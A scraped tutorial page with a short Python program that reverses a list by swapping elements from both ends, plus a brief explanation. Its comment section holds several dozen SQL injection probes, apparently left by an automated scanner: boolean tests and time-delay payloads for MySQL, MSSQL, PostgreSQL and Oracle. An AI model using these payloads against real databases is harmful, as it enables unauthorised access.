Revese the elements in list python

Python Program to get list size n and n elements of list, then reverse the n elements.

Sample Input 1:

5 5 7 9 3 1

Sample Output 1:

1 3 9 7 5

Program or Solution

				
			
					
l=list(map(int,input("Enter Numbers:").split()))
start=0
stop=len(l)-1
while(start<stop):
    l[start],l[stop]=l[stop],l[start]
    start+=1
    stop-=1
print(l)


			
				
			

Program Explanation

initialize start to first location of list and stop to last location of list using start=0 stop=len(l)-1 swap the elements in location start and stop, then increment start by 1 and decrement stop by 1.

l[start],l[stop]=l[stop],l[start] repeat the above step till start is less than stop

Comments

ubaTaeCJ
-1 OR 2+364-364-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3+364-364-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3*2<(0+5+364-364) --
ubaTaeCJ
-1 OR 3*2>(0+5+364-364) --
ubaTaeCJ
-1 OR 2+242-242-1=0+0+0+1
ubaTaeCJ
-1 OR 3+242-242-1=0+0+0+1
ubaTaeCJ
-1 OR 3*2<(0+5+242-242)
ubaTaeCJ
-1 OR 3*2>(0+5+242-242)
ubaTaeCJ
-1' OR 2+795-795-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3+795-795-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3*2<(0+5+795-795) --
ubaTaeCJ
-1' OR 3*2>(0+5+795-795) --
ubaTaeCJ
-1' OR 2+656-656-1=0+0+0+1 or 'jRC5owKH'='
ubaTaeCJ
-1' OR 3+656-656-1=0+0+0+1 or 'jRC5owKH'='
ubaTaeCJ
-1' OR 3*2<(0+5+656-656) or 'jRC5owKH'='
ubaTaeCJ
-1' OR 3*2>(0+5+656-656) or 'jRC5owKH'='
ubaTaeCJ
-1" OR 2+377-377-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3+377-377-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3*2<(0+5+377-377) --
ubaTaeCJ
-1" OR 3*2>(0+5+377-377) --
ubaTaeCJ
if(now()=sysdate(),sleep(15),0)
ubaTaeCJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
ubaTaeCJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
ubaTaeCJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
ubaTaeCJ
-1; waitfor delay '0:0:15' --
ubaTaeCJ
-1); waitfor delay '0:0:15' --
ubaTaeCJ
1 waitfor delay '0:0:15' --
ubaTaeCJ
ON0ScAhn'; waitfor delay '0:0:15' --
ubaTaeCJ
-5 OR 844=(SELECT 844 FROM PG_SLEEP(15))--
ubaTaeCJ
-5) OR 309=(SELECT 309 FROM PG_SLEEP(15))--
ubaTaeCJ
-1)) OR 342=(SELECT 342 FROM PG_SLEEP(15))--
ubaTaeCJ
WywT3t2g' OR 751=(SELECT 751 FROM PG_SLEEP(15))--
ubaTaeCJ
uiEtbffk') OR 329=(SELECT 329 FROM PG_SLEEP(15))--
ubaTaeCJ
H7O7MY4c')) OR 711=(SELECT 711 FROM PG_SLEEP(15))--
ubaTaeCJ
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
ubaTaeCJ
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
ubaTaeCJ
1'"
ubaTaeCJ
@@vd31b